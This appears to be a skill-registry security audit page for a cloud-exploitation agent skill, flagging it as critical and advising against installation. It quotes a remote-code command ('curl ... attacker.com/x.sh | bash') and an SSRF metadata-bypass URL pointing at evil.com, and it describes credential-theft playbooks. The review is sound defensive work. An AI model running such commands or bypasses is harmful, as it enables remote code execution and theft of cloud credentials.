cloud-overview
Cloud exploitation lane — AWS IAM privesc, S3 takeover, k8s RBAC abuse, Terraform state leaks, cloud metadata pivoting.
64
77%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/SKILL.mdSecurity
3 findings: 2 critical severity, 1 high severity. Installing this skill is not recommended: please review these findings carefully if you do intend to do so.
E005: Suspicious download URL detected in skill instructions.
What this means
Detected a suspicious URL in the skill instructions that could lead the agent to download and execute malicious scripts or binaries. This includes links to executables from untrusted sources, typosquatting of official packages, URL shorteners that obscure the destination, and personal file hosting services.
Why it was flagged
These URLs include direct links to attacker-controlled hosts serving shell scripts/endpoints (e.g., attacker.com) and an obfuscated metadata access URL (169.254.169.254:80@evil.com) used in SSRF bypasses — all high-risk vectors for delivering or triggering malware/exfiltration.
E006: Malicious code pattern detected in skill scripts.
What this means
Detected high-risk code patterns in the skill content — including its prompts, tool definitions, and resources — such as data exfiltration, backdoors, remote code execution, credential theft, system compromise, supply chain attacks, and obfuscation techniques.
Why it was flagged
These files are explicit offensive playbooks that describe credential theft, data exfiltration, remote code execution, backdoor/persistence techniques, and privilege-escalation chains across cloud platforms — clearly malicious intent and high abuse potential.
W007: Insecure credential handling detected in skill instructions.
What this means
The skill handles credentials insecurely by requiring the agent to include secret values verbatim in its generated output. This exposes credentials in the agent’s context and conversation history, creating a risk of data exfiltration.
Why it was flagged
The workflow explicitly instructs fetching Terraform state and cloud metadata (which contain secrets/credentials) and creating "credential" nodes, meaning the agent will need to read and handle secret values directly (high exfiltration risk).
Low
Low-risk findings.
1 low severity finding. Worth noting, but not necessarily harmful.
W012: Unverifiable external dependency detected (runtime URL that controls agent).
What this means
The skill fetches instructions or code from an external URL at runtime, and the fetched content directly controls the agent’s prompts or executes code. This dynamic dependency allows the external source to modify the agent’s behavior without any changes to the skill itself.
Why it was flagged
The gcp-svc-account-impersonation skill contains a runtime command that adds a startup-script which fetches and executes remote code via "curl -fsSL https://attacker.com/x.sh | bash", i.e., it downloads and runs remote code at runtime.
- Repository
- PurpleAILAB/Decepticon
- Commit
e34afba
- Audited
- Security analysis
Is this your skill?
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.